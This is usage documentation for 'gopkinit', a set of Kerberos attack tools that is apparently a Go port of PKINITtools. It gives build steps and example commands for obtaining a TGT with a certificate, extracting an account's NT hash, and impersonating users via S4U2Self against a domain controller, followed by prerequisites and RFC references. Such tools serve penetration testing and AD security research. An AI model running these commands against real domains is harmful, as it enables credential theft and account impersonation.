Comprehensive documentation for the gopkinit Kerberos attack tools.
| Tool | Description | Documentation |
|---|---|---|
| gettgtpkinit | Certificate-based TGT request via PKINIT | Deep Dive |
| getnthash | NT hash extraction via U2U authentication | Deep Dive |
| gets4uticket | S4U2Self user impersonation | Deep Dive |
# Step 1: Build (using Makefile)
make
# Step 2: Get TGT with certificate (PKINIT)
./gettgtpkinit -cert-pfx user.pfx -dc-ip 10.0.0.1 DOMAIN.COM/user output.ccache
# Step 3a: Extract NT hash from PKINIT TGT
./getnthash -ccache output.ccache -key <asrep-key> -dc-ip 10.0.0.1
# Step 3b: OR impersonate another user (requires delegation)
./gets4uticket -ccache admin.ccache -impersonate user@DOMAIN.COM \
-spn cifs/server@DOMAIN.COM -dc-ip 10.0.0.1 -out user.ccache- Time sync: Run
ntpdate <dc-ip>before any Kerberos operations - Certificate: Valid X.509 certificate (PFX format) for PKINIT
- Delegation: S4U2Self requires proper delegation configuration
- RFC 4556 - PKINIT (Public Key Cryptography for Initial Authentication)
- RFC 4757 - RC4-HMAC Kerberos Encryption
- MS-SFU - Services for User Extensions (S4U2Self)
- MS-PAC - Privilege Attribute Certificate
- Main README for library usage and API documentation
- PKINITtools - Python reference implementation
- minikerberos - Python Kerberos library
# Run all unit tests
go test ./... -v